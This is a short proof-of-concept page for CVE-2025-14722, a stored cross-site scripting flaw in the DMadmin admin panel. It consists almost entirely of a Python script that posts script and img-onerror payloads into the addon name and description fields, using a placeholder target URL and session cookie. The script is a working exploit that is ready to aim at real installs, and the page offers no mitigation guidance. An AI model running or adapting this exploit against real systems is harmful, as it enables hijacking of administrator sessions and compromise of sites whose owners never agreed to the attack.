CVE-2025-14722 vion707 DMadmin 存储型XSS漏洞

import requests # CVE-2025-14722 XSS PoC # Target: vion707 DMadmin Backend AddonsController Add function target_url = "http://target.com/Admin/Addons/Add" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Prepare the malicious request data data = { "name": "malicious_addon" + xss_payload, "description": "<img src=x onerror=alert('XSS')>", "version": "1.0" } # If authentication is required headers = { "Cookie": "PHPSESSID=your_session_here", "Content-Type": "application/x-www-form-urlencoded" } # Send the malicious request response = requests.post(target_url, data=data, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # The XSS payload will be stored and executed when the addon list is viewed